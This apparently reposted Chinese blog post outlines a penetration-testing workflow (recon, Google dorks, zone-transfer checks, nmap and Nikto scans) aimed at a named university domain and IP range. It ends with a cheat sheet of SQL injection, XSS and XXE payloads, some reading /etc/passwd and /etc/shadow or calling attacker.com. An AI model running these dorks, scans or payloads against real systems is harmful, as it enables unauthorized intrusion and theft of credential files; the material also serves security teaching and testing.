渗透测试流程-白红宇

渗透测试流程

阅读量：6852 次

发布时间：2019-06-26

本文共 3640 字，大约阅读时间需要 12 分钟。

1.信息收集

- 确认目标 -----域名信息相关工具

whatweb -v

whois

- DNS信息查询
  - - - 使用linux自带命令dig/加上网站自带tracerote，
- 测试域传送：域传送是一种DNS事务，用于在主从服务器间复制DNS记录。虽然如今已经很少见主机会开启，但是还是应该确认一下。一旦存在域传送漏洞，就意味着你获取了整个域下面所有的记录。

- - - - dig -t NS syu.edu.cn +short
      - dig -t AXFR syu.edu.cn @xxx
      - dig -t AXFR syu.edu.cn @xxx

- 公开情报收集+google hacking语法
  - - 谷歌黑客数据库
    - email信息
      - site:202.199.32.0/24 查找子域名
      - intext:公司名称+email**
      - email**@公司域名
      - site:xxxx.com intext:*@xxxx.com //得到N个邮件地址，还有邮箱的主人的名字什么的
      - site:xxx.com intext:email
      - site:xxxx.com intext:电话 //N个电话
      - Intext:Poweredby Discuz //版本信息
      - Cache:xxx.com //缓存
    - 网站信息
      - 查找后台地址：site:域名inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms
      - 查找文本内容site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|admin|login|sys|managetem|password|username
      - 查找可注入点：site:域名 inurl:aspx|jsp|php|asp
      - 查找上传漏洞：site:域名 inurl:file|load|editor|Files
      - 找eweb编辑器：site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit
      - 存在的数据库：site:域名 filetype:mdb|asp|#
      - 查看脚本类型：site:域名 filetype:asp/aspx/php/jsp
      - 迂回策略入侵：inurl:cms/data/templates/images/index/

Maltego:交互式的数据挖掘工具。

Theharvester：从不同的公开资源中收集邮箱、子域名、虚拟主机、开放的端口/主机指纹和员工姓名等信息。
- - theharvester -d syu.edu.cn -l 1000 -b google

2 端口扫描，服务识别，os识别

- Nmap带服务识别和操作系统指纹识别的TCP/IP主机和端口扫描工具
  - 扫描前1000号tcp端口nmap 202.199.32.5
  - Ping扫描ip段主机 nmap –sP 202.199.32.0/24
  - 扫描指定端口 nmap –p 80，443 202.199.32.5
  - 扫描前1000号tcp端口，os指纹，服务 nmap –A 202.199.32.5
  - 扫描udp端口 nmap –sU 202.199.32.5
  - 扫描所有65535个UDP端口，并获取服务、OS指纹 nmap –sU –P- -A 202.199.32.5
  - 常见端口漏洞信息
- 浏览器插件
  - User Agent Switcher 一款可以快速切换用户代理的Firefox插件
  - Wappalyzer 可以检测各种各样的网站所用的技术和软件组件的插件
  - FoxyProxy 代理切换插件

Burp插件在网上找到的

Retire.js (BApp) 用于检测版本落后的Javascript组件漏洞的Burp suite扩展

Wsdler (BApp) 可以解析WSDL文件，然后测试所有的允许的方法的请求

Python Scripter (BApp) 可以在每个HTTP请求和响应时执行一段用户定义的Python脚本

漏洞扫描

Linux自带NIKto：有指纹识别功能的Web服务漏洞扫描器
- - nikto -h http://www.syu.edu.cn -output ~/syu.edu.cn.html -Format htm

- burp测试可选内容
  - - 使用Intruder来模糊测试 User-Agent和Referer请求头，利用FuzzDB的字典。
    - 使用acunetix自动化扫描，
    - IBM 扫描漏洞
    - 注意错误页面
      - 数据库结构和服务器文件系统等信息
- Burp Repeater：手工修改、重放HTTP请求的Burp模块

- Sql注入：显示错误信息

' OR 1=1 – 1

' OR '1'='1

' or 1=1 LIMIT 1;--

admin';--

- - Xss： <IMG SRC=javascript:alert('XSS')>

"><script>alert('XSS')</script><"

" οnmοuseοver="alert('XSS')

xml注入： Username = foo<

Username = foo<!—

XML实体注入(XXE)：

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>